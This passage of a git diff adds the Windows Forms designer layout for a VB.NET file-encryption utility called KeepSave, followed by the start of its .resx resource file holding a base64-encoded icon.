= "LogInUserTextBox2" + Me.LogInUserTextBox2.ReadOnly = False + Me.LogInUserTextBox2.Size = New System.Drawing.Size(300, 65) + Me.LogInUserTextBox2.TabIndex = 5 + Me.LogInUserTextBox2.TextAlign = System.Windows.Forms.HorizontalAlignment.Left + Me.LogInUserTextBox2.TextColour = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.LogInUserTextBox2.UseSystemPasswordChar = False + ' + 'LogInLabel5 + ' + Me.LogInLabel5.AutoSize = True + Me.LogInLabel5.BackColor = System.Drawing.Color.Transparent + Me.LogInLabel5.Font = New System.Drawing.Font("Segoe UI", 9.0!) + Me.LogInLabel5.FontColour = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.LogInLabel5.ForeColor = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.LogInLabel5.Location = New System.Drawing.Point(6, 145) + Me.LogInLabel5.Name = "LogInLabel5" + Me.LogInLabel5.Size = New System.Drawing.Size(48, 15) + Me.LogInLabel5.TabIndex = 4 + Me.LogInLabel5.Text = "Output:" + ' + 'LogInUserTextBox1 + ' + Me.LogInUserTextBox1.BackColor = System.Drawing.Color.Transparent + Me.LogInUserTextBox1.BackgroundColour = System.Drawing.Color.FromArgb(CType(CType(42, Byte), Integer), CType(CType(42, Byte), Integer), CType(CType(42, Byte), Integer)) + Me.LogInUserTextBox1.BorderColour = System.Drawing.Color.FromArgb(CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer)) + Me.LogInUserTextBox1.Location = New System.Drawing.Point(4, 74) + Me.LogInUserTextBox1.MaxLength = 32767 + Me.LogInUserTextBox1.Multiline = True + Me.LogInUserTextBox1.Name = "LogInUserTextBox1" + Me.LogInUserTextBox1.ReadOnly = False + Me.LogInUserTextBox1.Size = New System.Drawing.Size(298, 65) + Me.LogInUserTextBox1.TabIndex = 3 + Me.LogInUserTextBox1.TextAlign = System.Windows.Forms.HorizontalAlignment.Left + Me.LogInUserTextBox1.TextColour = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.LogInUserTextBox1.UseSystemPasswordChar = False + ' + 'LogInLabel4 + ' + Me.LogInLabel4.AutoSize = True + Me.LogInLabel4.BackColor = System.Drawing.Color.Transparent + Me.LogInLabel4.Font = New System.Drawing.Font("Segoe UI", 9.0!) + Me.LogInLabel4.FontColour = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.LogInLabel4.ForeColor = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.LogInLabel4.Location = New System.Drawing.Point(7, 55) + Me.LogInLabel4.Name = "LogInLabel4" + Me.LogInLabel4.Size = New System.Drawing.Size(38, 15) + Me.LogInLabel4.TabIndex = 2 + Me.LogInLabel4.Text = "Input:" + ' + 'LogInLabel3 + ' + Me.LogInLabel3.AutoSize = True + Me.LogInLabel3.BackColor = System.Drawing.Color.Transparent + Me.LogInLabel3.Font = New System.Drawing.Font("Segoe UI", 9.0!) + Me.LogInLabel3.FontColour = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.LogInLabel3.ForeColor = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.LogInLabel3.Location = New System.Drawing.Point(2, 8) + Me.LogInLabel3.Name = "LogInLabel3" + Me.LogInLabel3.Size = New System.Drawing.Size(112, 15) + Me.LogInLabel3.TabIndex = 1 + Me.LogInLabel3.Text = "Encryption Method:" + ' + 'LogInComboBox1 + ' + Me.LogInComboBox1.ArrowColour = System.Drawing.Color.FromArgb(CType(CType(30, Byte), Integer), CType(CType(30, Byte), Integer), CType(CType(30, Byte), Integer)) + Me.LogInComboBox1.BackColor = System.Drawing.Color.Transparent + Me.LogInComboBox1.BaseColour = System.Drawing.Color.FromArgb(CType(CType(42, Byte), Integer), CType(CType(42, Byte), Integer), CType(CType(42, Byte), Integer)) + Me.LogInComboBox1.BorderColour = System.Drawing.Color.FromArgb(CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer)) + Me.LogInComboBox1.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed + Me.LogInComboBox1.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList + Me.LogInComboBox1.Font = New System.Drawing.Font("Segoe UI", 10.0!) + Me.LogInComboBox1.FontColour = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.LogInComboBox1.FormattingEnabled = True + Me.LogInComboBox1.Items.AddRange(New Object() {"AES", "RC2", "RSA", "XOR", "DES", "TrippleDES", "HAZZ 15", "TIGO3FX", "GILA 7", "ESAB 46", "Megan 35", "Zong 22", "ROT13", "Ceasar Shift", "Rijndael", "ATOM 128", "ZARA 128", "EnvY'S Encryption"}) + Me.LogInComboBox1.LineColour = System.Drawing.Color.FromArgb(CType(CType(23, Byte), Integer), CType(CType(119, Byte), Integer), CType(CType(151, Byte), Integer)) + Me.LogInComboBox1.Location = New System.Drawing.Point(4, 26) + Me.LogInComboBox1.Name = "LogInComboBox1" + Me.LogInComboBox1.Size = New System.Drawing.Size(237, 26) + Me.LogInComboBox1.SqaureColour = System.Drawing.Color.FromArgb(CType(CType(47, Byte), Integer), CType(CType(47, Byte), Integer), CType(CType(47, Byte), Integer)) + Me.LogInComboBox1.SqaureHoverColour = System.Drawing.Color.FromArgb(CType(CType(52, Byte), Integer), CType(CType(52, Byte), Integer), CType(CType(52, Byte), Integer)) + Me.LogInComboBox1.StartIndex = 0 + Me.LogInComboBox1.TabIndex = 0 + ' + 'TabPage3 + ' + Me.TabPage3.BackColor = System.Drawing.Color.FromArgb(CType(CType(54, Byte), Integer), CType(CType(54, Byte), Integer), CType(CType(54, Byte), Integer)) + Me.TabPage3.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle + Me.TabPage3.Controls.Add(Me.LogInLabel7) + Me.TabPage3.Controls.Add(Me.LogInLogButton1) + Me.TabPage3.Controls.Add(Me.LogInLabel8) + Me.TabPage3.Controls.Add(Me.LogInButton4) + Me.TabPage3.Controls.Add(Me.LogInUserTextBox4) + Me.TabPage3.Controls.Add(Me.LogInLabel9) + Me.TabPage3.Controls.Add(Me.LogInLogButton2) + Me.TabPage3.Controls.Add(Me.LogInSeperator1) + Me.TabPage3.Controls.Add(Me.LogInButton3) + Me.TabPage3.Controls.Add(Me.LogInUserTextBox3) + Me.TabPage3.Controls.Add(Me.LogInLabel6) + Me.TabPage3.Location = New System.Drawing.Point(4, 36) + Me.TabPage3.Name = "TabPage3" + Me.TabPage3.Padding = New System.Windows.Forms.Padding(3) + Me.TabPage3.Size = New System.Drawing.Size(373, 241) + Me.TabPage3.TabIndex = 2 + Me.TabPage3.Text = "File Fucker" + ' + 'LogInLabel7 + ' + Me.LogInLabel7.AutoSize = True + Me.LogInLabel7.BackColor = System.Drawing.Color.Transparent + Me.LogInLabel7.Font = New System.Drawing.Font("Segoe UI", 9.0!) + Me.LogInLabel7.FontColour = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.LogInLabel7.ForeColor = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.LogInLabel7.Location = New System.Drawing.Point(65, 76) + Me.LogInLabel7.Name = "LogInLabel7" + Me.LogInLabel7.Size = New System.Drawing.Size(57, 15) + Me.LogInLabel7.TabIndex = 13 + Me.LogInLabel7.Text = "Waiting..." + ' + 'LogInLogButton1 + ' + Me.LogInLogButton1.ArcColour = System.Drawing.Color.FromArgb(CType(CType(43, Byte), Integer), CType(CType(43, Byte), Integer), CType(CType(43, Byte), Integer)) + Me.LogInLogButton1.ArrowBorderColour = System.Drawing.Color.FromArgb(CType(CType(170, Byte), Integer), CType(CType(170, Byte), Integer), CType(CType(170, Byte), Integer)) + Me.LogInLogButton1.ArrowColour = System.Drawing.Color.FromArgb(CType(CType(235, Byte), Integer), CType(CType(233, Byte), Integer), CType(CType(234, Byte), Integer)) + Me.LogInLogButton1.BackColor = System.Drawing.Color.FromArgb(CType(CType(54, Byte), Integer), CType(CType(54, Byte), Integer), CType(CType(54, Byte), Integer)) + Me.LogInLogButton1.BorderColour = System.Drawing.Color.FromArgb(CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer)) + Me.LogInLogButton1.HoverColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(130, Byte), Integer), CType(CType(169, Byte), Integer)) + Me.LogInLogButton1.Location = New System.Drawing.Point(9, 57) + Me.LogInLogButton1.Name = "LogInLogButton1" + Me.LogInLogButton1.NormalColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(160, Byte), Integer), CType(CType(199, Byte), Integer)) + Me.LogInLogButton1.PressedColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(145, Byte), Integer), CType(CType(184, Byte), Integer)) + Me.LogInLogButton1.Size = New System.Drawing.Size(50, 50) + Me.LogInLogButton1.TabIndex = 12 + Me.LogInLogButton1.Text = "LogInLogButton1" + ' + 'LogInLabel8 + ' + Me.LogInLabel8.AutoSize = True + Me.LogInLabel8.BackColor = System.Drawing.Color.Transparent + Me.LogInLabel8.Font = New System.Drawing.Font("Segoe UI", 9.0!) + Me.LogInLabel8.FontColour = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.LogInLabel8.ForeColor = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.LogInLabel8.Location = New System.Drawing.Point(65, 191) + Me.LogInLabel8.Name = "LogInLabel8" + Me.LogInLabel8.Size = New System.Drawing.Size(57, 15) + Me.LogInLabel8.TabIndex = 10 + Me.LogInLabel8.Text = "Waiting..." + ' + 'LogInButton4 + ' + Me.LogInButton4.BackColor = System.Drawing.Color.Transparent + Me.LogInButton4.BaseColour = System.Drawing.Color.FromArgb(CType(CType(42, Byte), Integer), CType(CType(42, Byte), Integer), CType(CType(42, Byte), Integer)) + Me.LogInButton4.BorderColour = System.Drawing.Color.FromArgb(CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer)) + Me.LogInButton4.FontColour = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.LogInButton4.HoverColour = System.Drawing.Color.FromArgb(CType(CType(52, Byte), Integer), CType(CType(52, Byte), Integer), CType(CType(52, Byte), Integer)) + Me.LogInButton4.Location = New System.Drawing.Point(317, 141) + Me.LogInButton4.Name = "LogInButton4" + Me.LogInButton4.PressedColour = System.Drawing.Color.FromArgb(CType(CType(47, Byte), Integer), CType(CType(47, Byte), Integer), CType(CType(47, Byte), Integer)) + Me.LogInButton4.ProgressColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(191, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.LogInButton4.Size = New System.Drawing.Size(52, 29) + Me.LogInButton4.TabIndex = 9 + Me.LogInButton4.Text = "..." + ' + 'LogInUserTextBox4 + ' + Me.LogInUserTextBox4.BackColor = System.Drawing.Color.Transparent + Me.LogInUserTextBox4.BackgroundColour = System.Drawing.Color.FromArgb(CType(CType(42, Byte), Integer), CType(CType(42, Byte), Integer), CType(CType(42, Byte), Integer)) + Me.LogInUserTextBox4.BorderColour = System.Drawing.Color.FromArgb(CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer)) + Me.LogInUserTextBox4.Location = New System.Drawing.Point(9, 141) + Me.LogInUserTextBox4.MaxLength = 32767 + Me.LogInUserTextBox4.Multiline = False + Me.LogInUserTextBox4.Name = "LogInUserTextBox4" + Me.LogInUserTextBox4.ReadOnly = True + Me.LogInUserTextBox4.Size = New System.Drawing.Size(302, 29) + Me.LogInUserTextBox4.TabIndex = 8 + Me.LogInUserTextBox4.TextAlign = System.Windows.Forms.HorizontalAlignment.Left + Me.LogInUserTextBox4.TextColour = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.LogInUserTextBox4.UseSystemPasswordChar = False + ' + 'LogInLabel9 + ' + Me.LogInLabel9.AutoSize = True + Me.LogInLabel9.BackColor = System.Drawing.Color.Transparent + Me.LogInLabel9.Font = New System.Drawing.Font("Segoe UI", 9.0!) + Me.LogInLabel9.FontColour = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.LogInLabel9.ForeColor = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.LogInLabel9.Location = New System.Drawing.Point(6, 123) + Me.LogInLabel9.Name = "LogInLabel9" + Me.LogInLabel9.Size = New System.Drawing.Size(161, 15) + Me.LogInLabel9.TabIndex = 7 + Me.LogInLabel9.Text = "Please select a file to decrypt!" + ' + 'LogInLogButton2 + ' + Me.LogInLogButton2.ArcColour = System.Drawing.Color.FromArgb(CType(CType(43, Byte), Integer), CType(CType(43, Byte), Integer), CType(CType(43, Byte), Integer)) + Me.LogInLogButton2.ArrowBorderColour = System.Drawing.Color.FromArgb(CType(CType(170, Byte), Integer), CType(CType(170, Byte), Integer), CType(CType(170, Byte), Integer)) + Me.LogInLogButton2.ArrowColour = System.Drawing.Color.FromArgb(CType(CType(235, Byte), Integer), CType(CType(233, Byte), Integer), CType(CType(234, Byte), Integer)) + Me.LogInLogButton2.BackColor = System.Drawing.Color.FromArgb(CType(CType(54, Byte), Integer), CType(CType(54, Byte), Integer), CType(CType(54, Byte), Integer)) + Me.LogInLogButton2.BorderColour = System.Drawing.Color.FromArgb(CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer)) + Me.LogInLogButton2.HoverColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(130, Byte), Integer), CType(CType(169, Byte), Integer)) + Me.LogInLogButton2.Location = New System.Drawing.Point(9, 176) + Me.LogInLogButton2.Name = "LogInLogButton2" + Me.LogInLogButton2.NormalColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(160, Byte), Integer), CType(CType(199, Byte), Integer)) + Me.LogInLogButton2.PressedColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(145, Byte), Integer), CType(CType(184, Byte), Integer)) + Me.LogInLogButton2.Size = New System.Drawing.Size(50, 50) + Me.LogInLogButton2.TabIndex = 6 + Me.LogInLogButton2.Text = "LogInLogButton2" + ' + 'LogInSeperator1 + ' + Me.LogInSeperator1.Alignment = KeepSave.LogInSeperator.Style.Horizontal + Me.LogInSeperator1.BackColor = System.Drawing.Color.Transparent + Me.LogInSeperator1.Location = New System.Drawing.Point(-2, 106) + Me.LogInSeperator1.Name = "LogInSeperator1" + Me.LogInSeperator1.SeperatorColour = System.Drawing.Color.FromArgb(CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer)) + Me.LogInSeperator1.Size = New System.Drawing.Size(378, 20) + Me.LogInSeperator1.TabIndex = 5 + Me.LogInSeperator1.Text = "LogInSeperator1" + Me.LogInSeperator1.Thickness = 1.0! + ' + 'LogInButton3 + ' + Me.LogInButton3.BackColor = System.Drawing.Color.Transparent + Me.LogInButton3.BaseColour = System.Drawing.Color.FromArgb(CType(CType(42, Byte), Integer), CType(CType(42, Byte), Integer), CType(CType(42, Byte), Integer)) + Me.LogInButton3.BorderColour = System.Drawing.Color.FromArgb(CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer)) + Me.LogInButton3.FontColour = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.LogInButton3.HoverColour = System.Drawing.Color.FromArgb(CType(CType(52, Byte), Integer), CType(CType(52, Byte), Integer), CType(CType(52, Byte), Integer)) + Me.LogInButton3.Location = New System.Drawing.Point(317, 22) + Me.LogInButton3.Name = "LogInButton3" + Me.LogInButton3.PressedColour = System.Drawing.Color.FromArgb(CType(CType(47, Byte), Integer), CType(CType(47, Byte), Integer), CType(CType(47, Byte), Integer)) + Me.LogInButton3.ProgressColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(191, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.LogInButton3.Size = New System.Drawing.Size(52, 29) + Me.LogInButton3.TabIndex = 3 + Me.LogInButton3.Text = "..." + ' + 'LogInUserTextBox3 + ' + Me.LogInUserTextBox3.BackColor = System.Drawing.Color.Transparent + Me.LogInUserTextBox3.BackgroundColour = System.Drawing.Color.FromArgb(CType(CType(42, Byte), Integer), CType(CType(42, Byte), Integer), CType(CType(42, Byte), Integer)) + Me.LogInUserTextBox3.BorderColour = System.Drawing.Color.FromArgb(CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer)) + Me.LogInUserTextBox3.Location = New System.Drawing.Point(9, 22) + Me.LogInUserTextBox3.MaxLength = 32767 + Me.LogInUserTextBox3.Multiline = False + Me.LogInUserTextBox3.Name = "LogInUserTextBox3" + Me.LogInUserTextBox3.ReadOnly = True + Me.LogInUserTextBox3.Size = New System.Drawing.Size(302, 29) + Me.LogInUserTextBox3.TabIndex = 2 + Me.LogInUserTextBox3.TextAlign = System.Windows.Forms.HorizontalAlignment.Left + Me.LogInUserTextBox3.TextColour = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.LogInUserTextBox3.UseSystemPasswordChar = False + ' + 'LogInLabel6 + ' + Me.LogInLabel6.AutoSize = True + Me.LogInLabel6.BackColor = System.Drawing.Color.Transparent + Me.LogInLabel6.Font = New System.Drawing.Font("Segoe UI", 9.0!) + Me.LogInLabel6.FontColour = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.LogInLabel6.ForeColor = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.LogInLabel6.Location = New System.Drawing.Point(6, 4) + Me.LogInLabel6.Name = "LogInLabel6" + Me.LogInLabel6.Size = New System.Drawing.Size(161, 15) + Me.LogInLabel6.TabIndex = 1 + Me.LogInLabel6.Text = "Please select a file to encrypt!" + ' + 'Form1 + ' + Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) + Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font + Me.ClientSize = New System.Drawing.Size(379, 312) + Me.Controls.Add(Me.LogInThemeContainer1) + Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None + Me.Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon) + Me.Name = "Form1" + Me.ShowIcon = False + Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen + Me.Text = "Form1" + Me.TransparencyKey = System.Drawing.Color.Fuchsia + Me.LogInThemeContainer1.ResumeLayout(False) + Me.LogInTabControl1.ResumeLayout(False) + Me.TabPage1.ResumeLayout(False) + Me.TabPage1.PerformLayout() + CType(Me.PictureBox1, System.ComponentModel.ISupportInitialize).EndInit() + Me.TabPage2.ResumeLayout(False) + Me.TabPage2.PerformLayout() + Me.TabPage3.ResumeLayout(False) + Me.TabPage3.PerformLayout() + Me.ResumeLayout(False) + + End Sub + + Friend WithEvents LogInThemeContainer1 As LogInThemeContainer + Friend WithEvents LogInTabControl1 As LogInTabControl + Friend WithEvents TabPage1 As TabPage + Friend WithEvents TabPage2 As TabPage + Friend WithEvents TabPage3 As TabPage + Friend WithEvents PictureBox1 As PictureBox + Friend WithEvents LogInLabel2 As LogInLabel + Friend WithEvents LogInLabel1 As LogInLabel + Friend WithEvents LogInButton2 As LogInButton + Friend WithEvents LogInButton1 As LogInButton + Friend WithEvents LogInUserTextBox2 As LogInUserTextBox + Friend WithEvents LogInLabel5 As LogInLabel + Friend WithEvents LogInUserTextBox1 As LogInUserTextBox + Friend WithEvents LogInLabel4 As LogInLabel + Friend WithEvents LogInLabel3 As LogInLabel + Friend WithEvents LogInComboBox1 As LogInComboBox + Friend WithEvents LogInLabel7 As LogInLabel + Friend WithEvents LogInLogButton1 As LogInLogButton + Friend WithEvents LogInLabel8 As LogInLabel + Friend WithEvents LogInButton4 As LogInButton + Friend WithEvents LogInUserTextBox4 As LogInUserTextBox + Friend WithEvents LogInLabel9 As LogInLabel + Friend WithEvents LogInLogButton2 As LogInLogButton + Friend WithEvents LogInSeperator1 As LogInSeperator + Friend WithEvents LogInButton3 As LogInButton + Friend WithEvents LogInUserTextBox3 As LogInUserTextBox + Friend WithEvents LogInLabel6 As LogInLabel + Friend WithEvents Timer1 As Timer + Friend WithEvents Timer2 As Timer + Friend WithEvents LogInButton9 As LogInButton + Friend WithEvents LogInButton6 As LogInButton + Friend WithEvents LogInButton8 As LogInButton + Friend WithEvents LogInButton7 As LogInButton +End Class diff --git a/scode (KeepSave/KeepSave/Form1.resx b/scode (KeepSave/KeepSave/Form1.resx new file mode 100644 index 0000000..f25b72c --- /dev/null +++ b/scode (KeepSave/KeepSave/Form1.resx @@ -0,0 +1,6299 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 17, 17 + + + 106, 17 + + + + + AAABAAYAAAAAAAEAIAAoIAQAZgAAAICAAAABACAAKAgBAI4gBABAQAAAAQAgAChCAAC2KAUAMDAAAAEA + IACoJQAA3moFACAgAAABACAAqBAAAIaQBQAQEAAAAQAgAGgEAAAuoQUAKAAAAAABAAAAAgAAAQAgAAAA + AAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEBERAJAREQDQEREAgAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAABAREQCQEREA0BERAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQEREAkBE + RANAREQCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEBERAJAREQDQEREAgAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAABAREQCQEREA0BERAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQEREAkBE + RANAREQCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEBERAJAREQDQEREAgAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAABAREQCQEREA0BERAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQEREAkBE + RANAREQCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEBERAJAREQDQEREAgAAAAAAAAAAAAAAAMS+ + JgHFviYCw7wnA8rCJQSQjTEEHiVfAgAAAAAAAAAAAAAAAAAAAAAAAAAAuq4hAsW8JArEvyYcwbomOr+5 + J1bBuyZtw70mgsS+J5fEvieqxL4nucS+J8nEvifYxL4n4MO9J+rCvCfzw70m+MS+JvvDvSf+w70n/sS+ + JvvEvSb4xL0n88S+J+rEvSfgwr0n2MO9J8nEvie5xL4nqsS+J5fCvSeCwrwmbMO9J1XFviY5vrknHqOd + Kw2JhiwCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ckkAqSfLgaCgTUGe3o2A6qoKwEAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAABAREQCQEREA0BERAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQEREAkBE + RANAREQCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEBERAJAREQDQEREAgAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAABAREQCQEREA0BERAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQEREAkBE + RANAREQCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEBERAJAREQDQEREAgAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAABAREQCQEREA0BERAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQEREAkBE + RANAREQCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEBERAJAREQDQEREAgAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAABAREQBQEREA0BERAIAAAAAAAAAAAAAAAAAAAAAQEREBEBERAZAREQEAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEBERARAREQGQEREBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AABAREQEQEREBkBERAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQEREBEBERAZAREQEAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEBERARAREQGQEREBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AABAREQEQEREBkBERAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQEREBEBERAZAREQEAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEBERARAREQGQEREBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AABAREQEQEREBkBERAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARUlDBEtPQQdlZzsFw74nA8rE + JQMAAAAAAAAAAAAAAAAAAAAAAAAAAGZnNwajoC0au7YpOsO9Jl7EviaCxL4nosS+J8HEvSfhxL4n88S+ + J/rCvCj/wbso/8K8J//Evif/xL4n/8S+J//Evif/xL4n/8S+J//Evif/wr0n/8G7KP/DvCf/xL4n/8S+ + J//Evif/xL4n/8S+J//Evif/xL4n/8K8KP/Buyj/w70n/8S+J//Evif/xL4n/8S+J//Evif/xL4n+sS+ + J/PCuyfhwLoowsG8KKLEviaCxL4mXcS+JjfEviQUwrkXAgAAAAAAAAAAAAAAAAAAbwEoLE0Dxb8lBMnC + JgS6tigCAAAAAAAAAAAAAAAAAAAAAEBERARAREQGQEREBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AABAREQEQEREBkBERAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQEREBEBERAZAREQEAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEBERARAREQGQEREBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AABAREQEQEREBkBERAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQEREBEBERAZAREQEAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEBERARAREQGQEREBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AABAREQEQEREBkBERAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQEREBEBERAZAREQEAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEBERANAREQDAAAAAAAAAAAAAAAAAAAAAAAAAABAREQGQERECkBE + RAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQEREBkBERApAREQGAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAEBERAZAREQKQEREBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAREQGQERECkBE + RAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQEREBkBERApAREQGAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAEBERAZAREQKQEREBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAREQGQERECkBE + RAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQEREBkBERApAREQGAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAEBERAZAREQKQEREBgAAAAAAAAAAAAAAAAAAAADAuicCyMImBMXAJgMhJ08FAABjAgAA + AAAAAAAAsqodAcW9JhbFvSdFxL0md8S+J6LDvSfPwLsn87+6KP7Auyf/w74n/8S+J//Evif/xL4n/8S+ + J//Evif/xL4n/sG7KP2/uij7wLsn+8O+J/zEvif9xL4n/cS+J/7Evif+xL4n/sS+J//Buyf/v7oo/8C7 + J//Dvif/xL4n/8S+J//Evif/xL4n/sS+J/7Evif+wbso/b+5KP3AvCf8w74n+8S+J/vEvif9xL4n/sS+ + 